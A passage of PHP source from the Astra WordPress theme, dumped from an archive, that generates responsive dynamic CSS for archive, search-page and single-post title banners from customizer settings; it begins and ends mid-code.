.ast-archive-title' => array( 'font-size' => astra_responsive_font( $banner_title_font_size, 'mobile' ), ), $selector . ' *' => array( 'font-size' => astra_responsive_font( $banner_text_font_size, 'mobile' ), ), ); if ( 'none' !== $background_type ) { if ( class_exists( 'WooCommerce' ) && 'product' === $current_post_type ) { if ( 'custom' === $background_type ) { $custom_background = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-custom-bg' ); $css_output_desktop['.archive section.ast-archive-description'] = astra_get_responsive_background_obj( $custom_background, 'desktop' ); $css_output_tablet['.archive section.ast-archive-description'] = astra_get_responsive_background_obj( $custom_background, 'tablet' ); $css_output_mobile['.archive section.ast-archive-description'] = astra_get_responsive_background_obj( $custom_background, 'mobile' ); } else { // @codingStandardsIgnoreStart /** * @psalm-suppress RedundantCondition * @psalm-suppress InvalidGlobal */ global $wp_query; /** * @psalm-suppress RedundantCondition * @psalm-suppress InvalidGlobal */ // @codingStandardsIgnoreEnd $overlay_color = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-featured-overlay', '' ); $taxonomy = $wp_query->get_queried_object(); if ( is_callable( 'is_shop' ) && is_shop() && '' !== $overlay_color ) { $css_output_desktop['.archive section.ast-archive-description']['background'] = $overlay_color; } if ( ! empty( $taxonomy->term_id ) ) { $thumbnail_id = get_term_meta( $taxonomy->term_id, 'thumbnail_id', true ); $feat_image_src = wp_get_attachment_url( $thumbnail_id ); if ( $feat_image_src ) { $css_output_desktop['.archive section.ast-archive-description'] = array( 'background' => 'url( ' . esc_url( $feat_image_src ) . ' )', 'background-repeat' => 'no-repeat', 'background-attachment' => 'scroll', 'background-position' => 'center center', 'background-size' => 'cover', ); if ( '' !== $overlay_color ) { $css_output_desktop['.archive section.ast-archive-description']['background'] = 'url( ' . esc_url( $feat_image_src ) . ' ) ' . $overlay_color; $css_output_desktop['.archive section.ast-archive-description']['background-blend-mode'] = 'multiply'; } } } } } else { $custom_background = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-custom-bg' ); $css_output_desktop['.archive section.ast-archive-description'] = astra_get_responsive_background_obj( $custom_background, 'desktop' ); $css_output_tablet['.archive section.ast-archive-description'] = astra_get_responsive_background_obj( $custom_background, 'tablet' ); $css_output_mobile['.archive section.ast-archive-description'] = astra_get_responsive_background_obj( $custom_background, 'mobile' ); } } } else { /** * Desktop CSS. */ $css_output_desktop = array( $selector => array( 'text-align' => $desk_h_alignment, 'justify-content' => $vert_alignment, 'min-height' => $desk_banner_height, 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'desktop' ), 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'desktop' ), ), $selector . ' .ast-container' => array( 'width' => '100%', ), $selector . ' .ast-container *' => astra_get_font_array_css( astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-text-font-family' ), astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-text-font-weight' ), $banner_text_font_size, 'ast-dynamic-archive-' . $current_post_type . '-text-font-extras', $text_color ), $selector . ' .ast-container h1' => astra_get_font_array_css( astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-title-font-family' ), astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-title-font-weight', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-weight' ) ), $banner_title_font_size, 'ast-dynamic-archive-' . $current_post_type . '-title-font-extras', $title_color ), '.ast-page-builder-template ' . $selector . ' .ast-container' => array( 'max-width' => '100%', ), '.ast-narrow-container ' . $selector . ' .ast-container' => array( 'max-width' => $narrow_container_width . 'px', ), $selector . ' .ast-container a, ' . $selector . ' .ast-container a *' => array( 'color' => esc_attr( $link_color ), ), $selector . ' .ast-container a:hover, ' . $selector . ' .ast-container a:hover *' => array( 'color' => esc_attr( $link_hover_color ), ), $selector . ' .ast-container > *:not(:last-child)' => array( 'margin-bottom' => $elements_gap . 'px', ), $selector . ' .ast-container > *:last-child' => array( 'margin-bottom' => '0', ), ); /** * Min tablet width CSS. */ $css_output_min_tablet = array( '.ast-narrow-container ' . $selector . ' .ast-container' => array( 'max-width' => $narrow_container_width . 'px', 'padding-left' => '0', 'padding-right' => '0', ), ); /** * Tablet CSS. */ $css_output_tablet = array( $selector => array( 'text-align' => $tab_h_alignment, 'min-height' => $tab_banner_height, 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'tablet' ), 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'tablet' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'tablet' ), ), $selector . ' .ast-container' => array( 'padding-left' => '0', 'padding-right' => '0', ), $selector . ' .ast-container h1' => array( 'font-size' => astra_responsive_font( $banner_title_font_size, 'tablet' ), ), $selector . ' *' => array( 'font-size' => astra_responsive_font( $banner_text_font_size, 'tablet' ), ), ); /** * Mobile CSS. */ $css_output_mobile = array( $selector => array( 'text-align' => $mob_h_alignment, 'min-height' => $mob_banner_height, 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'mobile' ), 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'mobile' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'mobile' ), ), $selector . ' .ast-container h1' => array( 'font-size' => astra_responsive_font( $banner_title_font_size, 'mobile' ), ), $selector . ' *' => array( 'font-size' => astra_responsive_font( $banner_text_font_size, 'mobile' ), ), ); if ( ( 'custom' === $width_type ) ) { $css_output_desktop[ $selector . '[data-banner-width-type="custom"]' ]['max-width'] = $custom_width . 'px'; } if ( 'none' !== $background_type ) { if ( 'product' !== $current_post_type ) { $custom_background = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-custom-bg' ); $css_output_desktop[ $selector . '[data-banner-background-type="custom"]' ] = astra_get_responsive_background_obj( $custom_background, 'desktop' ); $css_output_tablet[ $selector . '[data-banner-background-type="custom"]' ] = astra_get_responsive_background_obj( $custom_background, 'tablet' ); $css_output_mobile[ $selector . '[data-banner-background-type="custom"]' ] = astra_get_responsive_background_obj( $custom_background, 'mobile' ); } else { if ( 'custom' === $background_type ) { $custom_background = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-custom-bg' ); $css_output_desktop[ $selector . '[data-banner-background-type="custom"]' ] = astra_get_responsive_background_obj( $custom_background, 'desktop' ); $css_output_tablet[ $selector . '[data-banner-background-type="custom"]' ] = astra_get_responsive_background_obj( $custom_background, 'tablet' ); $css_output_mobile[ $selector . '[data-banner-background-type="custom"]' ] = astra_get_responsive_background_obj( $custom_background, 'mobile' ); } else { // @codingStandardsIgnoreStart /** * @psalm-suppress RedundantCondition * @psalm-suppress InvalidGlobal */ global $wp_query; /** * @psalm-suppress RedundantCondition * @psalm-suppress InvalidGlobal */ // @codingStandardsIgnoreEnd $overlay_color = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-featured-overlay', '' ); $taxonomy = $wp_query->get_queried_object(); $feat_image_src = ''; // Checking if the is_shop function and wc_get_page_id are callable. if ( is_callable( 'is_shop' ) && is_shop() && is_callable( 'wc_get_page_id' ) ) { $shop_page_id = wc_get_page_id( 'shop' ); // Retrieving the featured image URL of the shop page. $feat_image_src = get_the_post_thumbnail_url( $shop_page_id ); } // Checking if we are in a taxonomy (category/archive) page. if ( ! empty( $taxonomy->term_id ) ) { $thumbnail_id = get_term_meta( $taxonomy->term_id, 'thumbnail_id', true ); $feat_image_src = wp_get_attachment_url( $thumbnail_id ); } // Apply the background if a featured image is set. if ( $feat_image_src ) { $css_output_desktop[ $selector . '[data-banner-background-type="featured"]' ] = array( 'background' => 'url( ' . esc_url( $feat_image_src ) . ' )', 'background-repeat' => 'no-repeat', 'background-attachment' => 'scroll', 'background-position' => 'center center', 'background-size' => 'cover', ); // Apply overlay if set. if ( '' !== $overlay_color ) { $css_output_desktop[ $selector . '[data-banner-background-type="featured"]' ]['background'] = 'url( ' . esc_url( $feat_image_src ) . ' ) ' . $overlay_color; $css_output_desktop[ $selector . '[data-banner-background-type="featured"]' ]['background-blend-mode'] = 'multiply'; } } elseif ( '' !== $overlay_color ) { // If no featured image is set, apply only the overlay color. $css_output_desktop[ $selector . '[data-banner-background-type="featured"]' ]['background'] = $overlay_color; } } } } } $dynamic_css .= ' .ast-archive-entry-banner { -js-display: flex; display: flex; flex-direction: column; justify-content: center; text-align: center; position: relative; background: var(--ast-title-layout-bg); } .ast-archive-entry-banner[data-banner-width-type="custom"] { margin: 0 auto; width: 100%; } .ast-archive-entry-banner[data-banner-layout="layout-1"] { background: inherit; padding: 20px 0; text-align: left; } '; if ( is_customize_preview() ) { $dynamic_css .= ' .site-header-focus-item .ast-container div.customize-partial-edit-shortcut, .site-header-focus-item .ast-container button.item-customizer-focus { font-size: inherit; } '; } /* Parse CSS from array() */ $dynamic_css .= astra_parse_css( $css_output_desktop ); $dynamic_css .= astra_parse_css( $css_output_min_tablet, astra_get_tablet_breakpoint( '', 1 ) ); $dynamic_css .= astra_parse_css( $css_output_tablet, '', astra_get_tablet_breakpoint() ); $dynamic_css .= astra_parse_css( $css_output_mobile, '', astra_get_mobile_breakpoint() ); return $dynamic_css; } posts-structures/css/special-dynamic.css.php 0000644 00000037010 15104530576 0015276 0 ustar 00 <?php /** * Post Structures - Special Pages Dynamic CSS * * @package Astra * @since 4.6.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Post Structures */ add_filter( 'astra_dynamic_theme_css', 'astra_special_archive_dynamic_css' ); /** * Special Pages Dynamic CSS. * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return string Generated dynamic CSS for Post Structures. * * @since 4.6.0 */ function astra_special_archive_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // Adding condition for search page only, once we have more special pages, we can modify this condition. if ( ! is_search() ) { return $dynamic_css; } foreach ( Astra_Posts_Structure_Loader::get_special_page_types() as $special_type ) { $title_section = 'section-' . $special_type . '-page-title'; $layout_type = astra_get_option( $title_section . '-layout', 'layout-1' ); $layout_2_active = 'layout-2' === $layout_type ? true : false; if ( $layout_2_active ) { $selector = '.search .ast-archive-entry-banner'; } else { $selector = '.search .ast-archive-description'; } $horizontal_alignment = astra_get_option( $title_section . '-horizontal-alignment' ); $desk_h_alignment = isset( $horizontal_alignment['desktop'] ) ? $horizontal_alignment['desktop'] : ''; $tab_h_alignment = isset( $horizontal_alignment['tablet'] ) ? $horizontal_alignment['tablet'] : ''; $mob_h_alignment = isset( $horizontal_alignment['mobile'] ) ? $horizontal_alignment['mobile'] : ''; if ( 'layout-1' === $layout_type ) { $desk_h_alignment = '' !== $desk_h_alignment ? $desk_h_alignment : 'left'; $tab_h_alignment = '' !== $tab_h_alignment ? $tab_h_alignment : 'left'; $mob_h_alignment = '' !== $mob_h_alignment ? $mob_h_alignment : 'left'; } $elements_gap = astra_get_option( $title_section . '-elements-gap', 10 ); $banner_padding = astra_get_option( $title_section . '-banner-padding', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-padding' ) ); $banner_margin = astra_get_option( $title_section . '-banner-margin' ); $banner_height = astra_get_option( $title_section . '-banner-height' ); $desk_banner_height = $layout_2_active && isset( $banner_height['desktop'] ) ? astra_get_css_value( $banner_height['desktop'], 'px' ) : ''; $tab_banner_height = $layout_2_active && isset( $banner_height['tablet'] ) ? astra_get_css_value( $banner_height['tablet'], 'px' ) : ''; $mob_banner_height = $layout_2_active && isset( $banner_height['mobile'] ) ? astra_get_css_value( $banner_height['mobile'], 'px' ) : ''; $text_color = astra_get_option( $title_section . '-banner-text-color' ); $title_color = astra_get_option( $title_section . '-banner-title-color' ); $link_color = astra_get_option( $title_section . '-banner-link-color' ); $link_hover_color = astra_get_option( $title_section . '-banner-link-hover-color' ); $vert_alignment = $layout_2_active ? astra_get_option( $title_section . '-vertical-alignment', 'center' ) : 'center'; $width_type = astra_get_option( $title_section . '-banner-width-type', 'fullwidth' ); $custom_width = astra_get_option( $title_section . '-banner-custom-width', 1200 ); $background_type = astra_get_option( $title_section . '-banner-image-type', 'none' ); // Banner Text typography dynamic stylings. $banner_text_font_size = astra_get_option( $title_section . '-text-font-size' ); // Banner Title typography dynamic stylings. $banner_title_font_size = astra_get_option( $title_section . '-title-font-size', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-size' ) ); $css_output_min_tablet = array(); $narrow_container_width = astra_get_option( 'narrow-container-max-width', apply_filters( 'astra_narrow_container_width', 750 ) ); // Few settings from banner section are also applicable to 'layout-1' so adding this condition & compatibility. if ( 'layout-1' === $layout_type ) { $site_content_width = astra_get_option( 'site-content-width', 1200 ); /** * Desktop CSS. */ $css_output_desktop = array( $selector => array( 'max-width' => $site_content_width . 'px', 'width' => '100%', 'text-align' => $desk_h_alignment, 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'desktop' ), 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'desktop' ), ), $selector . ' *' => astra_get_font_array_css( astra_get_option( $title_section . '-text-font-family' ), astra_get_option( $title_section . '-text-font-weight' ), $banner_text_font_size, $title_section . '-text-font-extras', $text_color ), $selector . ' h1, ' . $selector . ' h1 *' => astra_get_font_array_css( astra_get_option( $title_section . '-title-font-family' ), astra_get_option( $title_section . '-title-font-weight', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-weight' ) ), $banner_title_font_size, $title_section . '-title-font-extras', $title_color ), $selector . ' a, ' . $selector . ' a *' => array( 'color' => esc_attr( $link_color ), ), $selector . ' a:hover, ' . $selector . ' a:hover *' => array( 'color' => esc_attr( $link_hover_color ), ), $selector . ' > *:not(:last-child)' => array( 'margin-bottom' => $elements_gap . 'px', ), ); /** * Tablet CSS. */ $css_output_tablet = array( $selector => array( 'text-align' => $tab_h_alignment, 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'tablet' ), 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'tablet' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'tablet' ), ), $selector . ' h1' => array( 'font-size' => astra_responsive_font( $banner_title_font_size, 'tablet' ), ), $selector . ' *' => array( 'font-size' => astra_responsive_font( $banner_text_font_size, 'tablet' ), ), ); /** * Mobile CSS. */ $css_output_mobile = array( $selector => array( 'text-align' => $mob_h_alignment, 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'mobile' ), 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'mobile' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'mobile' ), ), $selector . ' h1' => array( 'font-size' => astra_responsive_font( $banner_title_font_size, 'mobile' ), ), $selector . ' *' => array( 'font-size' => astra_responsive_font( $banner_text_font_size, 'mobile' ), ), ); if ( 'none' !== $background_type ) { $custom_background = astra_get_option( $title_section . '-banner-custom-bg' ); $css_output_desktop['.search section.ast-archive-description'] = astra_get_responsive_background_obj( $custom_background, 'desktop' ); $css_output_tablet['.search section.ast-archive-description'] = astra_get_responsive_background_obj( $custom_background, 'tablet' ); $css_output_mobile['.search section.ast-archive-description'] = astra_get_responsive_background_obj( $custom_background, 'mobile' ); } } else { /** * Desktop CSS. */ $css_output_desktop = array( $selector => array( 'text-align' => $desk_h_alignment, 'justify-content' => $vert_alignment, 'min-height' => $desk_banner_height, 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'desktop' ), 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'desktop' ), ), $selector . ' .ast-container' => array( 'width' => '100%', ), $selector . ' .ast-container *' => astra_get_font_array_css( astra_get_option( $title_section . '-text-font-family' ), astra_get_option( $title_section . '-text-font-weight' ), $banner_text_font_size, $title_section . '-text-font-extras', $text_color ), $selector . ' .ast-container h1, ' . $selector . ' .ast-container h1 *' => astra_get_font_array_css( astra_get_option( $title_section . '-title-font-family' ), astra_get_option( $title_section . '-title-font-weight', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-weight' ) ), $banner_title_font_size, $title_section . '-title-font-extras', $title_color ), $selector . ' .ast-container h1' => array( 'margin-bottom' => '0', ), '.ast-page-builder-template ' . $selector . ' .ast-container' => array( 'max-width' => '100%', ), '.ast-narrow-container ' . $selector . ' .ast-container' => array( 'max-width' => $narrow_container_width . 'px', ), $selector . ' .ast-container a, ' . $selector . ' .ast-container a *' => array( 'color' => esc_attr( $link_color ), ), $selector . ' .ast-container a:hover, ' . $selector . ' .ast-container a:hover *' => array( 'color' => esc_attr( $link_hover_color ), ), $selector . ' .ast-container > *:not(:last-child)' => array( 'margin-bottom' => $elements_gap . 'px', ), ); /** * Min tablet width CSS. */ $css_output_min_tablet = array( '.ast-narrow-container ' . $selector . ' .ast-container' => array( 'max-width' => $narrow_container_width . 'px', 'padding-left' => '0', 'padding-right' => '0', ), ); /** * Tablet CSS. */ $css_output_tablet = array( $selector => array( 'text-align' => $tab_h_alignment, 'min-height' => $tab_banner_height, 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'tablet' ), 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'tablet' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'tablet' ), ), $selector . ' .ast-container' => array( 'padding-left' => '0', 'padding-right' => '0', ), $selector . ' .ast-container h1' => array( 'font-size' => astra_responsive_font( $banner_title_font_size, 'tablet' ), ), $selector . ' *' => array( 'font-size' => astra_responsive_font( $banner_text_font_size, 'tablet' ), ), ); /** * Mobile CSS. */ $css_output_mobile = array( $selector => array( 'text-align' => $mob_h_alignment, 'min-height' => $mob_banner_height, 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'mobile' ), 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'mobile' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'mobile' ), ), $selector . ' .ast-container h1' => array( 'font-size' => astra_responsive_font( $banner_title_font_size, 'mobile' ), ), $selector . ' *' => array( 'font-size' => astra_responsive_font( $banner_text_font_size, 'mobile' ), ), ); if ( ( 'custom' === $width_type ) ) { $css_output_desktop[ $selector . '[data-banner-width-type="custom"]' ]['max-width'] = $custom_width . 'px'; } if ( 'custom' === $background_type ) { $custom_background = astra_get_option( $title_section . '-banner-custom-bg' ); $css_output_desktop[ $selector . '[data-banner-background-type="custom"]' ] = astra_get_responsive_background_obj( $custom_background, 'desktop' ); $css_output_tablet[ $selector . '[data-banner-background-type="custom"]' ] = astra_get_responsive_background_obj( $custom_background, 'tablet' ); $css_output_mobile[ $selector . '[data-banner-background-type="custom"]' ] = astra_get_responsive_background_obj( $custom_background, 'mobile' ); } } /* Parse CSS from array() */ $dynamic_css .= astra_parse_css( $css_output_desktop ); $dynamic_css .= astra_parse_css( $css_output_min_tablet, astra_get_tablet_breakpoint( '', 1 ) ); $dynamic_css .= astra_parse_css( $css_output_tablet, '', astra_get_tablet_breakpoint() ); $dynamic_css .= astra_parse_css( $css_output_mobile, '', astra_get_mobile_breakpoint() ); } $dynamic_css .= ' .ast-archive-entry-banner { -js-display: flex; display: flex; flex-direction: column; justify-content: center; text-align: center; position: relative; background: var(--ast-title-layout-bg); } .ast-archive-entry-banner[data-banner-width-type="custom"] { margin: 0 auto; width: 100%; } .ast-archive-entry-banner[data-banner-layout="layout-1"] { background: inherit; padding: 20px 0; text-align: left; } '; if ( is_customize_preview() ) { $dynamic_css .= ' .site-header-focus-item .ast-container div.customize-partial-edit-shortcut, .site-header-focus-item .ast-container button.item-customizer-focus { font-size: inherit; } '; } return $dynamic_css; } posts-structures/css/single-dynamic.css.php 0000644 00000071405 15104530576 0015145 0 ustar 00 <?php /** * Post Structures - Dynamic CSS * * @package Astra * @since 4.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Post Structures */ add_filter( 'astra_dynamic_theme_css', 'astra_post_single_structure_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return String Generated dynamic CSS for Post Structures. * * @since 4.0.0 */ function astra_post_single_structure_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $current_post_type = strval( get_post_type() ); $supported_post_types = Astra_Posts_Structure_Loader::get_supported_post_types(); if ( ! is_singular( $current_post_type ) ) { return $dynamic_css; } if ( ! in_array( $current_post_type, $supported_post_types ) ) { return $dynamic_css; } if ( 'product' === $current_post_type ) { $single_section_id = 'section-woo-shop-single'; } elseif ( 'page' === $current_post_type ) { $single_section_id = 'section-single-page'; } elseif ( 'download' === $current_post_type ) { $single_section_id = 'section-edd-single'; } else { $single_section_id = 'single-posttype-' . $current_post_type; } $margin_option = 'post' === $current_post_type ? 'single-post-outside-spacing' : $single_section_id . '-margin'; $padding_option = 'post' === $current_post_type ? 'single-post-inside-spacing' : $single_section_id . '-padding'; $padding = astra_get_option( $padding_option ); $margin = astra_get_option( $margin_option ); $margin_selector = '.site .site-content #primary'; $padding_selector = '.site .site-content #primary .ast-article-single, .ast-separate-container .site-content #secondary .widget'; if ( class_exists( 'WooCommerce' ) && 'product' === $current_post_type ) { $padding_selector = '.site .site-content #primary .ast-woocommerce-container'; } // Desktop CSS. $css_output_desktop = array( $margin_selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'desktop' ), ), $padding_selector => array( // Padding CSS. 'padding-top' => astra_responsive_spacing( $padding, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $padding, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $padding, 'left', 'desktop' ), 'padding-right' => astra_responsive_spacing( $padding, 'right', 'desktop' ), ), ); // Tablet CSS. $css_output_tablet = array( $margin_selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'tablet' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'tablet' ), ), $padding_selector => array( // Padding CSS. 'padding-top' => astra_responsive_spacing( $padding, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $padding, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $padding, 'left', 'tablet' ), 'padding-right' => astra_responsive_spacing( $padding, 'right', 'tablet' ), ), ); // Mobile CSS. $css_output_mobile = array( $margin_selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'mobile' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'mobile' ), ), $padding_selector => array( // Padding CSS. 'padding-top' => astra_responsive_spacing( $padding, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $padding, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $padding, 'left', 'mobile' ), 'padding-right' => astra_responsive_spacing( $padding, 'right', 'mobile' ), ), ); $css_output = astra_parse_css( $css_output_desktop ); $css_output .= astra_parse_css( $css_output_tablet, '', astra_get_tablet_breakpoint() ); $css_output .= astra_parse_css( $css_output_mobile, '', astra_get_mobile_breakpoint() ); $dynamic_css .= $css_output; if ( false === astra_get_option( 'ast-single-' . $current_post_type . '-title', class_exists( 'WooCommerce' ) && 'product' === $current_post_type ? false : true ) ) { return $dynamic_css; } $layout_type = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-layout', 'layout-1' ); $layout_2_active = 'layout-2' === $layout_type ? true : false; $exclude_attr = astra_get_option( 'enable-related-posts', false ) ? ':not(.related-entry-header)' : ''; if ( $layout_2_active ) { $selector = '.ast-single-entry-banner[data-post-type="' . $current_post_type . '"]'; } else { $selector = 'header.entry-header' . $exclude_attr; } $site_content_width = astra_get_option( 'site-content-width', 1200 ); $horz_alignment = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-horizontal-alignment' ); $desk_h_alignment = isset( $horz_alignment['desktop'] ) ? $horz_alignment['desktop'] : ''; $tab_h_alignment = isset( $horz_alignment['tablet'] ) ? $horz_alignment['tablet'] : ''; $mob_h_alignment = isset( $horz_alignment['mobile'] ) ? $horz_alignment['mobile'] : ''; $banner_padding = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-banner-padding', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-padding' ) ); $banner_margin = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-banner-margin' ); $text_color = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-banner-text-color' ); $title_color = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-banner-title-color' ); $link_color = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-banner-link-color' ); $link_hover_color = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-banner-link-hover-color' ); $elements_gap = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-elements-gap', 10 ); $banner_height = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-banner-height' ); $desk_banner_height = $layout_2_active && isset( $banner_height['desktop'] ) ? astra_get_css_value( $banner_height['desktop'], 'px' ) : ''; $tab_banner_height = $layout_2_active && isset( $banner_height['tablet'] ) ? astra_get_css_value( $banner_height['tablet'], 'px' ) : ''; $mob_banner_height = $layout_2_active && isset( $banner_height['mobile'] ) ? astra_get_css_value( $banner_height['mobile'], 'px' ) : ''; $vert_alignment = $layout_2_active ? astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-vertical-alignment', 'center' ) : 'center'; $width_type = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-banner-width-type', 'fullwidth' ); $custom_width = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-banner-custom-width', 1200 ); $single_structure = astra_get_option( 'ast-dynamic-single-' . $current_post_type . '-structure', 'page' === 